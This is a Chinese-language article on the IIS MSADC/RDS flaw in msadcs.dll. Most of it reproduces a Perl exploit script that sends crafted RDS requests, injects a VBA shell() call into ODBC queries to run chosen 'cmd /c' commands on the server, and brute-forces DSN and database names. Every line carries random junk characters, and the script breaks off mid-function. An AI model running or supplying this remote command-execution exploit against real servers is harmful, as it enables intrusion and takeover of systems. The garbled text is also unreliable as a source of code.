IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DNdwMSwp qx<`Kc4 涉及程序:
[6Uc?Bi Microsoft NT server
FS r`Y @6>R/] 描述:
I.j`h2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
pr.Vfb m,v"N%k, 详细:
^u#!Yo.!( 如果你没有时间读详细内容的话,就删除:
TSmuNCR c:\Program Files\Common Files\System\Msadc\msadcs.dll
eP-q[U?$n 有关的安全问题就没有了。
-c!{';Zn Y'-BKZv! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
^:K"Tv.= !'Xk=+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
O,ZvV3 关于利用ODBC远程漏洞的描述,请参看:
%-|Po:6 2"C'Au http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm LWc}j`Wd _r5Q%8J 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Gd`qZqx# http://www.microsoft.com/security/bulletins/MS99-025faq.asp WEUr;f "g\ 这里不再论述。
?@l9T)fF EXg\a#4[' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
s,N%sO; Qv,|*bf /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D Y($ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,)XT;iGQe Y:]~~-f\~ I@a7AuOw #将下面这段保存为txt文件,然后: "perl -x 文件名"
ZPn`.Qc ]v@#3,BV #!perl
x&tad+T #
ZrnZ7,!@ # MSADC/RDS 'usage' (aka exploit) script
X^#48*"a #
R>Fie5? # by rain.forest.puppy
Q2PY(
# #
8HdmG{7. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oJR0sbikP # beta test and find errors!
}8p;w T! BD[XP`[{ use Socket; use Getopt::Std;
(1fE^KF@f getopts("e:vd:h:XR", \%args);
G5E03xvL JJ q= {; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;_M .(8L n[CESo%[ if (!defined $args{h} && !defined $args{R}) {
TS)p2# print qq~
tS8*l2Y`
Usage: msadc.pl -h <host> { -d <delay> -X -v }
LCK -h <host> = host you want to scan (ip or domain)
'O8"M -d <seconds> = delay between calls, default 1 second
xZjD(e' -X = dump Index Server path table, if available
|Rw0$he -v = verbose
C
7YZ;{t -e = external dictionary file for step 5
b4!(~"b. q/Ba#?sen Or a -R will resume a command session
||cG/I&, P*T'R ~; exit;}
Q1IN@Db}y z)=D&\HX $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/OK.n3Tt if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R:x4j#( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*Eu
ca~%= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,<%Y.x%4z[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
`#A&v if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W *0XV `UMv#-Y8 if (!defined $args{R}){ $ret = &has_msadc;
g4&zBn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
X3#|9 Am%zEt$c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~d^+yR- . "cmd /c ";
Zaf] .R $in=<STDIN>; chomp $in;
>5#`j+8=q $command="cmd /c " . $in ;
Il%LI a Umcs!@ if (defined $args{R}) {&load; exit;}
AtYe\_9$C EE#4,d`J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
gfw,S; &try_btcustmr;
dY68wW>d| "3LOL/7f print "\nStep 2: Trying to make our own DSN...";
kdmannM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
v2G_p|+O Pon 2!$ print "\nStep 3: Trying known DSNs...";
IrjKI.PR &known_dsn;
Aga2 I#1r K_bF)6" print "\nStep 4: Trying known .mdbs...";
~;QO`I=0P &known_mdb;
'ADt<m_$ jn>3(GRGC$ if (defined $args{e}){
E< "aUnI print "\nStep 5: Trying dictionary of DSN names...";
k'&BAC.K, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rXuhd [!(P
vr/V_ print "Sorry Charley...maybe next time?\n";
)\l}i%L: exit;
$SRpFz5y$ ]
NL-)8u ##############################################################################
GN?^7kI f}0(qN/G sub sendraw { # ripped and modded from whisker
63QMv[`, sleep($delay); # it's a DoS on the server! At least on mine...
v#@"Evh7 my ($pstr)=@_;
T|Sz~nO}f socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Uc>kCBCd die("Socket problems\n");
wAkpk&R if(connect(S,pack "SnA4x8",2,80,$target)){
g+t-<D"L5 select(S); $|=1;
]C3{ _?= print $pstr; my @in=<S>;
/+.Bc(` select(STDOUT); close(S);
]Vo;ZY_\ return @in;
@X?DHLM } else { die("Can't connect...\n"); }}
OGh9^,v eZIqyw ##############################################################################
3haYb` W~aVwO'( sub make_header { # make the HTTP request
^](sCE7 my $msadc=<<EOT
Zk__CgS# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/T]2ZX> User-Agent: ACTIVEDATA
d^mw&F)S Host: $ip
/ @X! Content-Length: $clen
U2 Connection: Keep-Alive
5'd$TC 0=# :x()e ADCClientVersion:01.06
*BH*
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X#'DS&{ L/_h5Q:'W --!ADM!ROX!YOUR!WORLD!
F$ShhZgi Content-Type: application/x-varg
V$VqYy9 * Content-Length: $reqlen
qc2j}D0
q,F\8M\$ EOT
ri1D*CS ; $msadc=~s/\n/\r\n/g;
z6]dF"N return $msadc;}
>0Y >T6! x:\+{- ##############################################################################
^.p({6H ^90';ACFy sub make_req { # make the RDS request
6X~.J4 my ($switch, $p1, $p2)=@_;
z85%2Apd my $req=""; my $t1, $t2, $query, $dsn;
juG?kL. }pdn-# if ($switch==1){ # this is the btcustmr.mdb query
LQ`s> q $query="Select * from Customers where City=" . make_shell();
#( F/P!qk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<qT[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?1*Ka 0_q8t!<xJw elsif ($switch==2){ # this is general make table query
y^zII5|s $query="create table AZZ (B int, C varchar(10))";
U>w#`Sy[ $dsn="$p1";}
;{EIx*<d }(A`aB_ elsif ($switch==3){ # this is general exploit table query
yG)xsY V $query="select * from AZZ where C=" . make_shell();
Xyy;BO: $dsn="$p1";}
i'OFun+-, px8988X elsif ($switch==4){ # attempt to hork file info from index server
1)pwR3(^Fz $query="select path from scope()";
r&oR|-2hRk $dsn="Provider=MSIDXS;";}
.A<G$ db
? /2l&D~d" elsif ($switch==5){ # bad query
Z8E-(@`q5Q $query="select";
WHeyE3}p $dsn="$p1";}
!iA3\Ai" (RVe,0y $t1= make_unicode($query);
o}$uP5M8q $t2= make_unicode($dsn);
^MIF+/bQ $req = "\x02\x00\x03\x00";
N;4bEcWjp $req.= "\x08\x00" . pack ("S1", length($t1));
nF>41 K $req.= "\x00\x00" . $t1 ;
kH~ z07: $req.= "\x08\x00" . pack ("S1", length($t2));
m0QE
S $req.= "\x00\x00" . $t2 ;
6!zBLIYFI $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)12.W=p return $req;}
{,NGxqhE JJ_b{ao< ##############################################################################
G%^jgr) *o.f<OwOz sub make_shell { # this makes the shell() statement
SQ8xfD* return "'|shell(\"$command\")|'";}
\ne1Xu:hM g%Bh-O9\ ##############################################################################
/N= }wC ?C)a0>L sub make_unicode { # quick little function to convert to unicode
fn.KZ my ($in)=@_; my $out;
yJQ>u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
OL]P(HRm]~ return $out;}
VzfaUAIZl h ` qlI1] ##############################################################################
fh_+M"Y0` -!;2?6R9{ sub rdo_success { # checks for RDO return success (this is kludge)
N8x[8Rp my (@in) = @_; my $base=content_start(@in);
<}7 5Xo if($in[$base]=~/multipart\/mixed/){
Ha~F&H|"O return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_D~l2M return 0;}
K&ZN!VN/p g>G+?PY ##############################################################################
m}A| W[p< TOapq9B] sub make_dsn { # this makes a DSN for us
-p.c8B my @drives=("c","d","e","f");
ypU-/}Cf, print "\nMaking DSN: ";
Y`F) UwKK foreach $drive (@drives) {
$B%wK`J print "$drive: ";
}Q$}LR@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
q9Zp8&<EqH "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T_R2BBT
v
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
F!7dGa$ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
`eZzYe(N return 0 if $2 eq "404"; # not found/doesn't exist
Ov8^6O if($2 eq "200") {
QN47+)cVt" foreach $line (@results) {
Vu.VH([b]Q return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&O
+?#3 } return 0;}
OQW%nF9~ n(I,pF ##############################################################################
"DaE(S& "&Hr)yyWG sub verify_exists {
a-e_ q my ($page)=@_;
"I)/|x\G* my @results=sendraw("GET $page HTTP/1.0\n\n");
u7&q(Z&&O return $results[0];}
+YZ*>ki F m?j-' ##############################################################################
b@ QCdi,u {p\ll sub try_btcustmr {
l266ufO.u- my @drives=("c","d","e","f");
}1fi# my @dirs=("winnt","winnt35","winnt351","win","windows");
.RNY}bbk E7' foreach $dir (@dirs) {
'0-YFx'U0V print "$dir -> "; # fun status so you can see progress
\SSHj ONX foreach $drive (@drives) {
+*RaX (&
print "$drive: "; # ditto
mR|L'[l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>$$z 6A[ $reqlenlen=length( "$reqlen" );
CbGfVdw/c $clen= 206 + $reqlenlen + $reqlen;
j,n\`7dD$ [)+wke9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6am
g*=] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_'8P8T& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5P Zzaz< E5aRTDLq ##############################################################################
x~Y{
{ dx@|M{jz' sub odbc_error {
Mj&G5R~_ my (@in)=@_; my $base;
LBxmozT my $base = content_start(@in);
Vv54;Js9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`j1oxJm $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
azz=,^U# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|\zzOfaO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zu3Fi= |0 return $in[$base+4].$in[$base+5].$in[$base+6];}
H )51J:4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Y5CDdn print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
XGuxd $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+0}z3T1L GO?hB4 9T ##############################################################################
_aeIK /4*Y#IpZ sub verbose {
2FR+Z3&z my ($in)=@_;
Xh}S_/9}5 return if !$verbose;
X+1Mv print STDOUT "\n$in\n";}
d-3.7nJ: /#WvC;B ##############################################################################
V7b;qC' Rk,'ujc sub save {
Q,K$)bM my ($p1, $p2, $p3, $p4)=@_;
({ O~O5k open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%pIP#y[4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{E; bT|3z close OUT;}
.TMLg(2hgv }*
\*<d
3 ##############################################################################
,ZghV1z [
*Dj7zt: sub load {
y8_$YA/g my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b)@D@K"5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^T:L6: @p=<IN>; close(IN);
ph}%Ay$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2x>7>;> $target= inet_aton($ip) || die("inet_aton problems");
a^={X<K|/ print "Resuming to $ip ...";
MyZVx|7E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ZIKSHC9 if($p[1]==1) {
2X<%BFsE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%x.du9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]1FLG*sB my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
TjDtNE if (rdo_success(@results)){print "Success!\n";}
'hE'h?-7 else { print "failed\n"; verbose(odbc_error(@results));}}
qA;Gl"HF elsif ($p[1]==3){
uu9IUqEq2 if(run_query("$p[3]")){
(\D E1q print "Success!\n";} else { print "failed\n"; }}
d~AL4~} elsif ($p[1]==4){
ta6>St7. if(run_query($drvst . "$p[3]")){
l\F71pwSI print "Success!\n"; } else { print "failed\n"; }}
V@g v exit;}
[YP{%1*RM /ej[oR ##############################################################################
NVghkd CY*o"@-o5) sub create_table {
-)Bvx>8fq- my ($in)=@_;
iO&*WIbg $reqlen=length( make_req(2,$in,"") ) - 28;
#i.,+Q $reqlenlen=length( "$reqlen" );
U?an\rv $clen= 206 + $reqlenlen + $reqlen;
r<'DS9m my @results=sendraw(make_header() . make_req(2,$in,""));
#}Yrxf return 1 if rdo_success(@results);
-#v1/L/= my $temp= odbc_error(@results); verbose($temp);
{G0=A~ return 1 if $temp=~/Table 'AZZ' already exists/;
c<, LE@V return 0;}
%&_^I* !zvjgDlZv ##############################################################################
PtYG%/s IITUM) sub known_dsn {
6I: 6+n # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,jEc4ih4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
HCsd$M;Hbv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5x%Blkx "banner", "banners", "ads", "ADCDemo", "ADCTest");
51JB,}dGH} 7Q]c=i cg foreach $dSn (@dsns) {
4(sHUWT print ".";
mogmr next if (!is_access("DSN=$dSn"));
7*j!ZUzp if(create_table("DSN=$dSn")){
m";..V print "$dSn successful\n";
9Vqy<7i1 if(run_query("DSN=$dSn")){
>s 6ye print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^D5Jqh)
print "Something's borked. Use verbose next time\n";}}} print "\n";}
pmUf*u- YGC%j ##############################################################################
r<vy6 VP>*J`'H sub is_access {
[zBi*%5O my ($in)=@_;
O^3kPVr $reqlen=length( make_req(5,$in,"") ) - 28;
h}!9?:E $reqlenlen=length( "$reqlen" );
x&*f5Y9hCi $clen= 206 + $reqlenlen + $reqlen;
`<yQ`Y_X my @results=sendraw(make_header() . make_req(5,$in,""));
/q+;!EM my $temp= odbc_error(@results);
F@k}p-e~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
9Q^cE\j return 0;}
qC{JsX`~ |ZE^'e*k ##############################################################################
t"Ci1"U En1LGi4# sub run_query {
X3a 9- my ($in)=@_;
'prHXzi(h $reqlen=length( make_req(3,$in,"") ) - 28;
%0} ^M1 $reqlenlen=length( "$reqlen" );
]VxC]a2 $clen= 206 + $reqlenlen + $reqlen;
Y*$>d/E my @results=sendraw(make_header() . make_req(3,$in,""));
I-Z|FKh_C return 1 if rdo_success(@results);
vue^bn my $temp= odbc_error(@results); verbose($temp);
*
eC[74Kng return 0;}
\7i_2|w ;<N:! $p ##############################################################################
m)} 01N4 tnaFbmp sub known_mdb {
cLl~4jL my @drives=("c","d","e","f","g");
u*v<